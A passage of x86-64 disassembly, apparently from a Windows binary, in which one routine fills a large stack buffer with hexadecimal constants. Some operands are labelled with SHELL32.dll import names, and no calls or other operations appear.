mov qword [rsp + 0x10030], rax
mov byte [rsp + 0x23d], 0x23
mov byte [rsp + 0x23e], 0xc4
mov dword [rsp + 0x8154], 0x1da2
mov eax, 0x8d7
mov word [rsp + 0x1b08], ax
mov byte [rsp + 0x23f], 0x9e
mov eax, 0x25f
mov word [rsp + 0x1b0c], ax
mov byte [rsp + 0x240], 0x42
mov eax, 0x7e8
mov word [rsp + 0x1b10], ax
movabs rax, 0x738d03dd436a0c
mov qword [rsp + 0x10038], rax
mov dword [rsp + 0x8158], 0x48a0
mov dword [rsp + 0x815c], 0x48c0
mov eax, 0x7b1
mov word [rsp + 0x1b14], ax
movabs rax, 0x7d49b28b267bfc
mov qword [rsp + 0x10040], rax
movabs rax, 0x714d2664e35226
mov qword [rsp + 0x10048], rax
movabs rax, 0x751c2f53bde969
mov qword [rsp + 0x10050], rax
mov dword [rsp + 0x8160], 0x1f17
movabs rax, 0x7d3a03d854af59
mov qword [rsp + 0x10058], rax
mov eax, 0x143
mov word [rsp + 0x1b18], ax
movabs rax, 0x7c839aebccf640
mov qword [rsp + 0x10060], rax
movabs rax, 0x72eb41c6ca3ee6
mov qword [rsp + 0x10068], rax
mov dword [rsp + 0x8164], 0x47b8
movabs rax, 0x732e00cb1a2567
mov qword [rsp + 0x10070], rax
movabs rax, 0x7280960196839d
mov qword [rsp + 0x10078], rax
movabs rax, 0x72766c38e78209
mov qword [rsp + 0x10080], rax
movabs rax, 0x790f098aca74a7
mov qword [rsp + 0x10088], rax
movabs rax, 0x752d55ab7fe616
mov qword [rsp + 0x10090], rax
mov dword [rsp + 0x8168], 0x6a87
mov eax, 0x390
mov word [rsp + 0x1b1c], ax
mov eax, 0x4e8
mov word [rsp + 0x1b20], ax
movabs rax, 0x70e34e99f0ab6b
mov qword [rsp + 0x10098], rax
movabs rax, 0x794a1c4c0c7c59
mov qword [rsp + 0x100a0], rax
mov dword [rsp + 0x816c], 0x737b
mov dword [rsp + 0x8170], 0x8bf7
mov eax, 0x170
mov word [rsp + 0x1b24], ax
movabs rax, 0x7b1e8a8b24117b
mov qword [rsp + 0x100a8], rax
mov dword [rsp + 0x8174], 0x99a9
movabs rax, 0x753b0dd60e0ec7
mov qword [rsp + 0x100b0], rax
movabs rax, 0x782ec7c48febff
mov qword [rsp + 0x100b8], rax
mov byte [rsp + 0x241], 0xa0
mov byte [rsp + 0x242], 0x43
movabs rax, 0x7dcd6f4d7da0b2
mov qword [rsp + 0x100c0], rax
mov byte [rsp + 0x243], 0x3f
mov byte [rsp + 0x244], 0xd3
mov dword [rsp + 0x8178], 0x5806
mov byte [rsp + 0x245], 0x5a
mov eax, 0xd05
mov word [rsp + 0x1b28], ax
movabs rax, 0x74fd9e7472deaf
mov qword [rsp + 0x100c8], rax
movabs rax, 0x729c058ba030f0
mov qword [rsp + 0x100d0], rax
movabs rax, 0x754899d778377d
mov qword [rsp + 0x100d8], rax
mov byte [rsp + 0x246], reloc.SHELL32.dll_ILClone
mov byte [rsp + 0x247], 0x8c
mov dword [rsp + 0x817c], 0x2091
mov byte [rsp + 0x248], 0x90
mov dword [rsp + 0x8180], 0x5ac2
mov dword [rsp + 0x8184], 0xa6
movabs rax, 0x7bec33d0373615
mov qword [rsp + 0x100e0], rax
mov dword [rsp + 0x8188], 0xec28
mov dword [rsp + 0x818c], 0x3e3
mov dword [rsp + 0x8190], 0x51a0
mov byte [rsp + 0x249], 0xe1
movabs rax, 0x73aa509a5a98da
mov qword [rsp + 0x100e8], rax
movabs rax, 0x7edfbcafc5762f
mov qword [rsp + 0x100f0], rax
movabs rax, 0x777536351bddab
mov qword [rsp + 0x100f8], rax
mov eax, 0x5a5
mov word [rsp + 0x1b2c], ax
mov dword [rsp + 0x8194], 0x3ac5
mov eax, 0x79f
mov word [rsp + 0x1b30], ax
mov eax, 0xdb6
mov word [rsp + 0x1b34], ax
movabs rax, 0x75df8ca8f2c714
mov qword [rsp + 0x10100], rax
mov byte [rsp + 0x24a], 0x3b
movabs rax, 0x78cf2f32080b92
mov qword [rsp + 0x10108], rax
mov eax, 0x3f6
mov word [rsp + 0x1b38], ax
mov dword [rsp + 0x8198], 0x6841
mov eax, 0x907
mov word [rsp + 0x1b3c], ax
mov byte [rsp + 0x24b], 0x51
movabs rax, 0x7c1cca9227cf2d
mov qword [rsp + 0x10110], rax
movabs rax, 0x7b9ac1ecd2e8ae
mov qword [rsp + 0x10118], rax
movabs rax, 0x7a6cc9cc397664
mov qword [rsp + 0x10120], rax
mov eax, 0xbfe
mov word [rsp + 0x1b40], ax
mov eax, 0x22e
mov word [rsp + 0x1b44], ax
mov dword [rsp + 0x819c], 0x38dd
mov byte [rsp + 0x24c], 0x69
mov byte [rsp + 0x24d], 0x1e
mov eax, SHGetImageList
mov word [rsp + 0x1b48], ax
mov byte [rsp + 0x24e], 0xe2
mov dword [rsp + 0x81a0], 0x3ca4
mov dword [rsp + 0x81a4], 0x6869
mov eax, 0xe2c
mov word [rsp + 0x1b4c], ax
mov dword [rsp + 0x81a8], 0xc80e
mov dword [rsp + 0x81ac], 0xb29f
mov eax, 0x6b0
mov word [rsp + 0x1b50], ax
mov byte [rsp + 0x24f], 0x5e
mov eax, 0xc36
mov word [rsp + 0x1b54], ax
mov eax, 0xd06
mov word [rsp + 0x1b58], ax
mov byte [rsp + 0x250], 0xcc
mov eax, 0x368
mov word [rsp + 0x1b5c], ax
mov dword [rsp + 0x81b0], 0x49fb
mov byte [rsp + 0x251], 0xdc
movabs rax, 0x706324c2a3f2c5
mov qword [rsp + 0x10128], rax
mov eax, SHTestTokenMembership
mov word [rsp + 0x1b60], ax
mov dword [rsp + 0x81b4], 0x3477
movabs rax, 0x7e6b933cf7e7ac
mov qword [rsp + 0x10130], rax
mov dword [rsp + 0x81b8], 0xe15c
mov dword [rsp + 0x81bc], 0x35cd
mov eax, 0xa1
mov word [rsp + 0x1b64], ax
movabs rax, 0x77fa6abf1357dc
mov qword [rsp + 0x10138], rax
movabs rax, 0x796c7b63b62e69
mov qword [rsp + 0x10140], rax
mov eax, 0x23a
mov word [rsp + 0x1b68], ax
movabs rax, 0x7086d27eb52e74
mov qword [rsp + 0x10148], rax
movabs rax, 0x782422d8b02159
mov qword [rsp + 0x10150], rax
mov dword [rsp + 0x81c0], 0x4244
mov eax, 0x1c1
mov word [rsp + 0x1b6c], ax
mov dword [rsp + 0x81c4], 0xd315
movabs rax, 0x719ffb09eab463
mov qword [rsp + 0x10158], rax
mov eax, 0x908
mov word [rsp + 0x1b70], ax
movabs rax, 0x762756601d9a44
mov qword [rsp + 0x10160], rax
mov dword [rsp + 0x81c8], 0x7086
mov dword [rsp + 0x81cc], 0x6b3
mov eax, 0x555
mov word [rsp + 0x1b74], ax
mov byte [rsp + 0x252], 0x52
mov eax, 0x6e1
mov word [rsp + 0x1b78], ax
mov byte [rsp + 0x253], SHTestTokenMembership
mov eax, 0x76a
mov word [rsp + 0x1b7c], ax
mov eax, 0x2a8
mov word [rsp + 0x1b80], ax
mov eax, 0x5ed
mov word [rsp + 0x1b84], ax
movabs rax, 0x795a294012ac1f
mov qword [rsp + 0x10168], rax
mov eax, 0x601
mov word [rsp + 0x1b88], ax
mov eax, 0x7a
mov word [rsp + 0x1b8c], ax
mov eax, 0x5b6
mov word [rsp + 0x1b90], ax
movabs rax, 0x7131daf8e29fd3
mov qword [rsp + 0x10170], rax
movabs rax, 0x70e737fa1767c4
mov qword [rsp + 0x10178], rax
movabs rax, 0x71d82dd06f8d8f
mov qword [rsp + 0x10180], rax
movabs rax, 0x731ed3cd2388f8
mov qword [rsp + 0x10188], rax
mov dword [rsp + 0x81d0], 0x3861
mov byte [rsp + 0x254], 0x3f
movabs rax, 0x7c0e80c328d764
mov qword [rsp + 0x10190], rax
mov byte [rsp + 0x255], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x256], PathMakeUniqueName
movabs rax, 0x755ce1d3c6723c
mov qword [rsp + 0x10198], rax
movabs rax, 0x7c49b5031fbaf0
mov qword [rsp + 0x101a0], rax
movabs rax, 0x7a5cda819ba607
mov qword [rsp + 0x101a8], rax
movabs rax, 0x74499943503d55
mov qword [rsp + 0x101b0], rax
mov eax, 0x712
mov word [rsp + 0x1b94], ax
mov eax, 0x18b
mov word [rsp + 0x1b98], ax
movabs rax, 0x7d8a3fc5124c9a
mov qword [rsp + 0x101b8], rax
mov dword [rsp + 0x81d4], 0x5925
movabs rax, 0x72f9ee002292bc
mov qword [rsp + 0x101c0], rax
mov eax, 0x404
mov word [rsp + 0x1b9c], ax
mov byte [rsp + 0x257], reloc.SHELL32.dll_ILAppendID
movabs rax, 0x7cbbbe9e22d076
mov qword [rsp + 0x101c8], rax
mov byte [rsp + 0x258], 0xa3
movabs rax, 0x7ba1bd3b6382b7
mov qword [rsp + 0x101d0], rax
movabs rax, 0x70b7120b3dea2f
mov qword [rsp + 0x101d8], rax
movabs rax, 0x7b91a198d7ca73
mov qword [rsp + 0x101e0], rax
mov dword [rsp + 0x81d8], 0x6715
movabs rax, 0x76c5d2f4b2d169
mov qword [rsp + 0x101e8], rax
mov dword [rsp + 0x81dc], 0x6365
movabs rax, 0x73bd13b3900b7e
mov qword [rsp + 0x101f0], rax
mov byte [rsp + 0x259], ILClone
mov dword [rsp + 0x81e0], 0x56be
mov dword [rsp + 0x81e4], 0x4250
movabs rax, 0x74875082779a44
mov qword [rsp + 0x101f8], rax
mov dword [rsp + 0x81e8], 0x15fa
mov byte [rsp + 0x25a], 0x5c
mov byte [rsp + 0x25b], 0x81
mov byte [rsp + 0x25c], 0x24
mov byte [rsp + 0x25d], ILSaveToStream
movabs rax, 0x7523c8503d8e69
mov qword [rsp + 0x10200], rax
movabs rax, 0x7898a030aa0601
mov qword [rsp + 0x10208], rax
mov eax, 0x626
mov word [rsp + 0x1ba0], ax
movabs rax, 0x78e3c5452c4f20
mov qword [rsp + 0x10210], rax
movabs rax, 0x71219c823dbda2
mov qword [rsp + 0x10218], rax
movabs rax, 0x72c1845bef9224
mov qword [rsp + 0x10220], rax
mov dword [rsp + 0x81ec], 0x31ba
mov dword [rsp + 0x81f0], 0xed5
movabs rax, 0x74a2f27b8c9cd6
mov qword [rsp + 0x10228], rax
mov eax, 0x8c3
mov word [rsp + 0x1ba4], ax
mov byte [rsp + 0x25e], ILClone
mov byte [rsp + 0x25f], 0xfe
mov eax, 0x50a
mov word [rsp + 0x1ba8], ax
mov dword [rsp + 0x81f4], 0x54e7
mov byte [rsp + 0x260], 0x8b
mov eax, 0x2e8
mov word [rsp + 0x1bac], ax
mov byte [rsp + 0x261], ILClone
mov dword [rsp + 0x81f8], 0x3bf9
movabs rax, 0x7a54e3293a72f6
mov qword [rsp + 0x10230], rax
movabs rax, 0x717c690d00540f
mov qword [rsp + 0x10238], rax
mov dword [rsp + 0x81fc], 0x9e8
mov eax, 0xf2c
mov word [rsp + 0x1bb0], ax
mov eax, 0x373
mov word [rsp + 0x1bb4], ax
mov byte [rsp + 0x262], reloc.SHELL32.dll_SHGetNewLinkInfoW
mov eax, 0x710
mov word [rsp + 0x1bb8], ax
mov byte [rsp + 0x263], 0x52
movabs rax, 0x72d6500ebba0b4
mov qword [rsp + 0x10240], rax
mov eax, 0x8af
mov word [rsp + 0x1bbc], ax
mov eax, 0x7ae
mov word [rsp + 0x1bc0], ax
movabs rax, 0x7bb895afcbc122
mov qword [rsp + 0x10248], rax
mov dword [rsp + 0x8200], 0x847e
movabs rax, 0x7d7bddd870a866
mov qword [rsp + 0x10250], rax
movabs rax, 0x7e929c79356dc0
mov qword [rsp + 0x10258], rax
mov byte [rsp + 0x264], 0xe7
mov byte [rsp + 0x265], 0x1d
mov byte [rsp + 0x266], PathMakeUniqueName
mov dword [rsp + 0x8204], 0x8e6a
mov eax, 0x496
mov word [rsp + 0x1bc4], ax
mov eax, 0x4e2
mov word [rsp + 0x1bc8], ax
mov dword [rsp + 0x8208], 0xcc76
mov eax, 0x2fb
mov word [rsp + 0x1bcc], ax
mov eax, 0xd92
mov word [rsp + 0x1bd0], ax
mov eax, 0x18c
mov word [rsp + 0x1bd4], ax
mov byte [rsp + 0x267], 0xed
mov byte [rsp + 0x268], 0xce
mov dword [rsp + 0x820c], 0x5cf9
mov byte [rsp + 0x269], PathYetAnotherMakeUniqueName
movabs rax, 0x7a0c6a67b02b65
mov qword [rsp + 0x10260], rax
movabs rax, 0x7a24b69b8cca03
mov qword [rsp + 0x10268], rax
mov eax, 0x63f
mov word [rsp + 0x1bd8], ax
mov dword [rsp + 0x8210], 0x176
mov dword [rsp + 0x8214], 0x120f
mov byte [rsp + 0x26a], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x8218], 0x4c7c
mov dword [rsp + 0x821c], 0xe962
mov byte [rsp + 0x26b], ILSaveToStream
movabs rax, 0x72d0e903628d63
mov qword [rsp + 0x10270], rax
movabs rax, 0x72715263f4ea41
mov qword [rsp + 0x10278], rax
mov eax, 0x3f7
mov word [rsp + 0x1bdc], ax
mov eax, 0x1ff
mov word [rsp + 0x1be0], ax
mov dword [rsp + 0x8220], 0x267a
movabs rax, 0x71b26b38b9ff41
mov qword [rsp + 0x10280], rax
mov eax, 0x34d
mov word [rsp + 0x1be4], ax
movabs rax, 0x724807e82e95d4
mov qword [rsp + 0x10288], rax
mov dword [rsp + 0x8224], 0x77bf
movabs rax, 0x7a3d283ce0d92f
mov qword [rsp + 0x10290], rax
movabs rax, 0x70c08e9845a502
mov qword [rsp + 0x10298], rax
movabs rax, 0x7421ff7a51ebf4
mov qword [rsp + 0x102a0], rax
mov eax, 0x33f
mov word [rsp + 0x1be8], ax
movabs rax, 0x7b91df1629cb2e
mov qword [rsp + 0x102a8], rax
movabs rax, 0x7015d01825c7dc
mov qword [rsp + 0x102b0], rax
mov dword [rsp + 0x8228], 0x7ae2
movabs rax, 0x71b980f431c897
mov qword [rsp + 0x102b8], rax
movabs rax, 0x79a4aeba5929e0
mov qword [rsp + 0x102c0], rax
movabs rax, 0x7631667e2ce8bd
mov qword [rsp + 0x102c8], rax
mov byte [rsp + 0x26c], PathMakeUniqueName
mov dword [rsp + 0x822c], 0x45c2
mov byte [rsp + 0x26d], 0x52
mov dword [rsp + 0x8230], 0x2b8b
mov byte [rsp + 0x26e], 9
movabs rax, 0x7ab29fb739c4bb
mov qword [rsp + 0x102d0], rax
movabs rax, 0x75c302c90e7cdc
mov qword [rsp + 0x102d8], rax
mov dword [rsp + 0x8234], 0x3ea7
mov eax, 0xc44
mov word [rsp + 0x1bec], ax
mov byte [rsp + 0x26f], 0x9e
mov eax, 0x20c
mov word [rsp + 0x1bf0], ax
movabs rax, 0x74491f930f8c3a
mov qword [rsp + 0x102e0], rax
movabs rax, 0x7d5458ba22f7cf
mov qword [rsp + 0x102e8], rax
mov dword [rsp + 0x8238], 0x60a4
mov byte [rsp + 0x270], 0x78
mov dword [rsp + 0x823c], 0x7fb1
movabs rax, 0x7b6bf03914131b
mov qword [rsp + 0x102f0], rax
mov byte [rsp + 0x271], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x272], PathMakeUniqueName
mov eax, 0x19a
mov word [rsp + 0x1bf4], ax
movabs rax, 0x709312138c82ea
mov qword [rsp + 0x102f8], rax
mov eax, 0xa91
mov word [rsp + 0x1bf8], ax
mov byte [rsp + 0x273], 0x81
mov byte [rsp + 0x274], 0x73
movabs rax, 0x76f7200419ac61
mov qword [rsp + 0x10300], rax
mov dword [rsp + 0x8240], 0x5585
mov byte [rsp + 0x275], 0xc9
movabs rax, 0x709a9cc6cfd9f7
mov qword [rsp + 0x10308], rax
movabs rax, 0x7c744b143cedbd
mov qword [rsp + 0x10310], rax
mov eax, 0x275
mov word [rsp + 0x1bfc], ax
movabs rax, 0x78445d66392e21
mov qword [rsp + 0x10318], rax
mov dword [rsp + 0x8244], 0x689
movabs rax, 0x74d0edb8a28fa1
mov qword [rsp + 0x10320], rax
mov byte [rsp + 0x276], SHUpdateImageW
mov eax, 0x59c
mov word [rsp + 0x1c00], ax
mov dword [rsp + 0x8248], 0x5473
movabs rax, 0x77870c23118393
mov qword [rsp + 0x10328], rax
mov dword [rsp + 0x824c], 0x794f
mov eax, 0x2aa
mov word [rsp + 0x1c04], ax
movabs rax, 0x75a3b2f41e0970
mov qword [rsp + 0x10330], rax
mov byte [rsp + 0x277], PathYetAnotherMakeUniqueName
movabs rax, 0x7e3f90f1983391
mov qword [rsp + 0x10338], rax
mov eax, 0x130
mov word [rsp + 0x1c08], ax
mov dword [rsp + 0x8250], 0xc5a5
mov eax, 0x475
mov word [rsp + 0x1c0c], ax
mov dword [rsp + 0x8254], 0x75aa
movabs rax, 0x7a2c408ff0c377
mov qword [rsp + 0x10340], rax
mov eax, 0xd0
mov word [rsp + 0x1c10], ax
movabs rax, 0x7e9aaf22c5c9f5
mov qword [rsp + 0x10348], rax
mov byte [rsp + 0x278], 0x53
mov byte [rsp + 0x279], 0
mov dword [rsp + 0x8258], 0x4f84
mov eax, 0xbde
mov word [rsp + 0x1c14], ax
movabs rax, 0x7579674dcb85e2
mov qword [rsp + 0x10350], rax
mov eax, 0x21e
mov word [rsp + 0x1c18], ax
movabs rax, 0x78f4b1564dc96e
mov qword [rsp + 0x10358], rax
mov dword [rsp + 0x825c], 0xee90
mov byte [rsp + 0x27a], 0x62
mov dword [rsp + 0x8260], 0x3ef2
mov byte [rsp + 0x27b], 0xcb
mov eax, 0x38b
mov word [rsp + 0x1c1c], ax
mov eax, 0x4c6
mov word [rsp + 0x1c20], ax
mov byte [rsp + 0x27c], 0x77
mov eax, 0x8d7
mov word [rsp + 0x1c24], ax
mov byte [rsp + 0x27d], 0x57
mov eax, 0x74
mov word [rsp + 0x1c28], ax
mov byte [rsp + 0x27e], 0x69
mov eax, 0xe85
mov word [rsp + 0x1c2c], ax
mov eax, 0x5a
mov word [rsp + 0x1c30], ax
mov dword [rsp + 0x8264], 0x16d7
mov dword [rsp + 0x8268], 0x9795
movabs rax, 0x7dde81f3871c06
mov qword [rsp + 0x10360], rax
mov byte [rsp + 0x27f], 0x3b
mov eax, 0x35f
mov word [rsp + 0x1c34], ax
movabs rax, 0x7e128e163b747d
mov qword [rsp + 0x10368], rax
mov byte [rsp + 0x280], 0xcb
mov dword [rsp + 0x826c], 0x5e89
mov dword [rsp + 0x8270], 0x9b43
mov eax, 0x9bb
mov word [rsp + 0x1c38], ax
mov eax, 0x14e
mov word [rsp + 0x1c3c], ax
movabs rax, 0x752a3f94f2b000
mov qword [rsp + 0x10370], rax
mov eax, 0x2d8
mov word [rsp + 0x1c40], ax
mov dword [rsp + 0x8274], 0xfe6b
mov dword [rsp + 0x8278], 0x801
mov eax, 0x21e
mov word [rsp + 0x1c44], ax
mov byte [rsp + 0x281], 0x30
mov dword [rsp + 0x827c], 0x827d
mov eax, 0x317
mov word [rsp + 0x1c48], ax
mov eax, 0x7f6
mov word [rsp + 0x1c4c], ax
mov dword [rsp + 0x8280], 0x7fc9
movabs rax, 0x71510716d16073
mov qword [rsp + 0x10378], rax
mov byte [rsp + 0x282], 0x6a
movabs rax, 0x759c04904be50e
mov qword [rsp + 0x10380], rax
mov eax, 0x688
mov word [rsp + 0x1c50], ax
mov dword [rsp + 0x8284], 0xffe4
mov dword [rsp + 0x8288], 0x58d8
mov eax, 0x465
mov word [rsp + 0x1c54], ax
mov dword [rsp + 0x828c], 0x75c4
movabs rax, 0x77ab8738a55a07
mov qword [rsp + 0x10388], rax
mov eax, 0x3de
mov word [rsp + 0x1c58], ax
movabs rax, 0x710c31e28c9ec7
mov qword [rsp + 0x10390], rax
mov dword [rsp + 0x8290], 0x5174
mov eax, 0x7ba
mov word [rsp + 0x1c5c], ax
movabs rax, 0x728badbdbe9112
mov qword [rsp + 0x10398], rax
mov dword [rsp + 0x8294], 0x4d0a
mov byte [rsp + 0x283], 0x75
mov dword [rsp + 0x8298], 0xefc4
movabs rax, 0x74146f1eb8ec47
mov qword [rsp + 0x103a0], rax
mov dword [rsp + 0x829c], 0x3c74
mov dword [rsp + 0x82a0], 0x60c
movabs rax, 0x7ad9015890a774
mov qword [rsp + 0x103a8], rax
mov eax, 0x26b
mov word [rsp + 0x1c60], ax
movabs rax, 0x7a6b16d047f013
mov qword [rsp + 0x103b0], rax
mov eax, 0x377
mov word [rsp + 0x1c64], ax
movabs rax, 0x7498994211bad9
mov qword [rsp + 0x103b8], rax
mov eax, 0x145
mov word [rsp + 0x1c68], ax
mov dword [rsp + 0x82a4], 0xd0bb
mov eax, 0x3ba
mov word [rsp + 0x1c6c], ax
mov eax, 0xba5
mov word [rsp + 0x1c70], ax
mov byte [rsp + reloc.SHELL32.dll_SHChangeNotification_Lock], 0x59
movabs rax, 0x7da72d7b259d27
mov qword [rsp + 0x103c0], rax
movabs rax, 0x7e0c51f2b769d0
mov qword [rsp + 0x103c8], rax
movabs rax, 0x731f326a84e948
mov qword [rsp + 0x103d0], rax
mov eax, 0x5d
mov word [rsp + 0x1c74], ax
mov eax, 0x5a2
mov word [rsp + 0x1c78], ax
mov dword [rsp + 0x82a8], 0xba48
movabs rax, 0x70d27b5622ebe0
mov qword [rsp + 0x103d8], rax
mov byte [rsp + 0x285], 0xa2
mov dword [rsp + 0x82ac], 0x64ae
mov dword [rsp + 0x82b0], 0x5c2d
mov byte [rsp + 0x286], SHSetInstanceExplorer
mov dword [rsp + 0x82b4], 0x6bc4
mov byte [rsp + 0x287], 0xc4
mov eax, 0xc2a
mov word [rsp + 0x1c7c], ax
mov eax, 0xb93
mov word [rsp + 0x1c80], ax
mov dword [rsp + 0x82b8], 0x7a6b
movabs rax, 0x78431f4cac6f06
mov qword [rsp + 0x103e0], rax
mov eax, 0x129
mov word [rsp + 0x1c84], ax
mov byte [rsp + 0x288], 0x69
mov byte [rsp + 0x289], 0x4f
movabs rax, 0x753304760ae241
mov qword [rsp + 0x103e8], rax
mov dword [rsp + 0x82bc], 0xf0fe
mov byte [rsp + 0x28a], PathYetAnotherMakeUniqueName
movabs rax, 0x784c8b72a9f2c3
mov qword [rsp + 0x103f0], rax
mov dword [rsp + 0x82c0], 0xca94
movabs rax, 0x724b7f81ce2122
mov qword [rsp + 0x103f8], rax
mov eax, 0xc66
mov word [rsp + 0x1c88], ax
mov dword [rsp + 0x82c4], 0x9a3b
movabs rax, 0x7694300ade4f97
mov qword [rsp + 0x10400], rax
mov dword [rsp + 0x82c8], 0xed91
mov eax, 0x7d
mov word [rsp + 0x1c8c], ax
mov eax, 0xc4
mov word [rsp + 0x1c90], ax
mov eax, 0x7e8
mov word [rsp + 0x1c94], ax
mov eax, 0x41f
mov word [rsp + 0x1c98], ax
mov dword [rsp + 0x82cc], 0x70ec
mov eax, 0x2f6
mov word [rsp + 0x1c9c], ax
mov eax, 0xc93
mov word [rsp + 0x1ca0], ax
movabs rax, 0x7272701547ed75
mov qword [rsp + 0x10408], rax
mov eax, 0xfe0
mov word [rsp + 0x1ca4], ax
mov eax, 0x21c
mov word [rsp + 0x1ca8], ax
mov byte [rsp + 0x28b], PathMakeUniqueName
mov eax, 0x5e2
mov word [rsp + 0x1cac], ax
movabs rax, 0x7d8c37ec0b2dc7
mov qword [rsp + 0x10410], rax
mov byte [rsp + 0x28c], 0x4c
mov byte [rsp + 0x28d], ILGetNext
mov eax, 0x412
mov word [rsp + 0x1cb0], ax
mov byte [rsp + 0x28e], 0x7d
mov eax, 0x5e5
mov word [rsp + 0x1cb4], ax
movabs rax, 0x70364546d94c2b
mov qword [rsp + 0x10418], rax
mov dword [rsp + 0x82d0], 0x6858
mov eax, 0x7e8
mov word [rsp + 0x1cb8], ax
mov eax, 0x420
mov word [rsp + 0x1cbc], ax
mov dword [rsp + 0x82d4], 0x6d94
movabs rax, 0x73bcfda435bde8
mov qword [rsp + 0x10420], rax
mov dword [rsp + 0x82d8], 0x17de
movabs rax, 0x7aeca0658d71f6
mov qword [rsp + 0x10428], rax
mov byte [rsp + 0x28f], 0x67
movabs rax, 0x7e87494d7e3c21
mov qword [rsp + 0x10430], rax
mov eax, 0x5d8
mov word [rsp + 0x1cc0], ax
mov dword [rsp + 0x82dc], 0x3532
movabs rax, 0x79324d27116715
mov qword [rsp + 0x10438], rax
mov dword [rsp + 0x82e0], 0x4741
mov dword [rsp + 0x82e4], 0x97ab
movabs rax, 0x76c142155d1ab6
mov qword [rsp + 0x10440], rax
movabs rax, 0x70c78c9f579356
mov qword [rsp + 0x10448], rax
movabs rax, 0x7a573a650a6799
mov qword [rsp + 0x10450], rax
movabs rax, 0x75f842152e996b
mov qword [rsp + 0x10458], rax
mov dword [rsp + 0x82e8], 0x40d4
mov eax, 0xbb
mov word [rsp + 0x1cc4], ax
mov dword [rsp + 0x82ec], 0xaf18
mov dword [rsp + 0x82f0], 0xed44
mov byte [rsp + 0x290], SHTestTokenMembership
mov dword [rsp + 0x82f4], 0x693e
mov eax, 0xb39
mov word [rsp + 0x1cc8], ax
mov eax, 0xd9c
mov word [rsp + 0x1ccc], ax
mov byte [rsp + 0x291], 7
mov eax, 0x2af
mov word [rsp + 0x1cd0], ax
mov dword [rsp + 0x82f8], 0xe9b
mov byte [rsp + 0x292], 0x38
mov byte [rsp + 0x293], 0x6a
mov byte [rsp + 0x294], 0x37
movabs rax, 0x736430291ef882
mov qword [rsp + 0x10460], rax
mov eax, 0xdb9
mov word [rsp + 0x1cd4], ax
mov eax, 0x1fb
mov word [rsp + 0x1cd8], ax
mov dword [rsp + 0x82fc], 0x5634
movabs rax, 0x7948fd231d5e50
mov qword [rsp + 0x10468], rax
mov dword [rsp + 0x8300], 0xd32c
mov byte [rsp + 0x295], reloc.SHELL32.dll_PathMakeUniqueName
mov byte [rsp + 0x296], reloc.SHELL32.dll_SHSetInstanceExplorer
mov dword [rsp + 0x8304], 0xabff
mov eax, 0x1f7
mov word [rsp + 0x1cdc], ax
mov eax, 3
mov word [rsp + 0x1ce0], ax
movabs rax, 0x77fb7c68020851
mov qword [rsp + 0x10470], rax
mov eax, 0x8dd
mov word [rsp + 0x1ce4], ax
mov dword [rsp + 0x8308], 0xe3ce
movabs rax, 0x7b68184ef74371
mov qword [rsp + 0x10478], rax
mov dword [rsp + 0x830c], 0x13c2
mov byte [rsp + 0x297], 0
movabs rax, 0x7bef0ec24f46bc
mov qword [rsp + 0x10480], rax
mov eax, 0xa96
mov word [rsp + 0x1ce8], ax
mov byte [rsp + 0x298], 0x73
mov dword [rsp + 0x8310], 0x4b97
mov eax, 0x2e5
mov word [rsp + 0x1cec], ax
mov byte [rsp + 0x299], PathYetAnotherMakeUniqueName
movabs rax, 0x7bac9b6d5f7508
mov qword [rsp + 0x10488], rax
movabs rax, 0x717f4367d739f2
mov qword [rsp + 0x10490], rax
mov byte [rsp + 0x29a], 0x5b
movabs rax, 0x7236abe2b4d702
mov qword [rsp + 0x10498], rax
mov byte [rsp + 0x29b], 0xe0
movabs rax, 0x7a88a0d4752794
mov qword [rsp + 0x104a0], rax
mov dword [rsp + 0x8314], 0x37c4
mov eax, 0x32b
mov word [rsp + 0x1cf0], ax
mov byte [rsp + 0x29c], 0x68
mov eax, 0xd9
mov word [rsp + 0x1cf4], ax
movabs rax, 0x7e423c989230f7
mov qword [rsp + 0x104a8], rax
mov byte [rsp + 0x29d], ILClone
mov dword [rsp + 0x8318], 0x6733
movabs rax, 0x7abdd4fe601a3d
mov qword [rsp + 0x104b0], rax
mov dword [rsp + 0x831c], 0x7596
mov dword [rsp + 0x8320], 0x1016
mov byte [rsp + 0x29e], 7
movabs rax, 0x74632a17220402
mov qword [rsp + 0x104b8], rax
mov eax, 0x6d7
mov word [rsp + 0x1cf8], ax
mov dword [rsp + 0x8324], 0xaa0d
mov byte [rsp + 0x29f], 0x3a
mov dword [rsp + 0x8328], 0x4759
mov byte [rsp + 0x2a0], 0xe7
mov dword [rsp + 0x832c], 0x7a31
movabs rax, 0x7d6b0c800ef306
mov qword [rsp + 0x104c0], rax
movabs rax, 0x713527376c2160
mov qword [rsp + 0x104c8], rax
mov eax, 0x10d
mov word [rsp + 0x1cfc], ax
movabs rax, 0x7db7d9b3973449
mov qword [rsp + 0x104d0], rax
mov eax, 0x463
mov word [rsp + 0x1d00], ax
movabs rax, 0x7bc31f77b0cd50
mov qword [rsp + 0x104d8], rax
mov byte [rsp + 0x2a1], 0x64
mov eax, 0x580
mov word [rsp + 0x1d04], ax
mov dword [rsp + 0x8330], 0xc90
mov eax, 0x123
mov word [rsp + 0x1d08], ax
mov eax, 0x417
mov word [rsp + 0x1d0c], ax
mov byte [rsp + 0x2a2], SHUpdateImageW
mov dword [rsp + 0x8334], 0xd12a
mov eax, 0x5a5
mov word [rsp + 0x1d10], ax
mov eax, 0x155
mov word [rsp + 0x1d14], ax
mov eax, 0xad3
mov word [rsp + 0x1d18], ax
movabs rax, 0x7520f63d295c5f
mov qword [rsp + 0x104e0], rax
mov dword [rsp + 0x8338], 0x3ece
mov byte [rsp + 0x2a3], SHUpdateImageW
movabs rax, 0x754ceba755dab5
mov qword [rsp + 0x104e8], rax
mov eax, 0x688
mov word [rsp + 0x1d1c], ax
mov dword [rsp + 0x833c], 0xd3da
movabs rax, 0x7324a2704eda89
mov qword [rsp + 0x104f0], rax
movabs rax, 0x787da6c088ec8a
mov qword [rsp + 0x104f8], rax
movabs rax, 0x747d98ceee6a4a
mov qword [rsp + 0x10500], rax
movabs rax, 0x779d6b9be1c6d2
mov qword [rsp + 0x10508], rax
movabs rax, 0x706f70731b84bb
mov qword [rsp + 0x10510], rax
mov byte [rsp + 0x2a4], 0x42
mov eax, 0x22b
mov word [rsp + 0x1d20], ax
movabs rax, 0x7c0490ab125361
mov qword [rsp + 0x10518], rax
movabs rax, 0x702f0de5872f3b
mov qword [rsp + 0x10520], rax
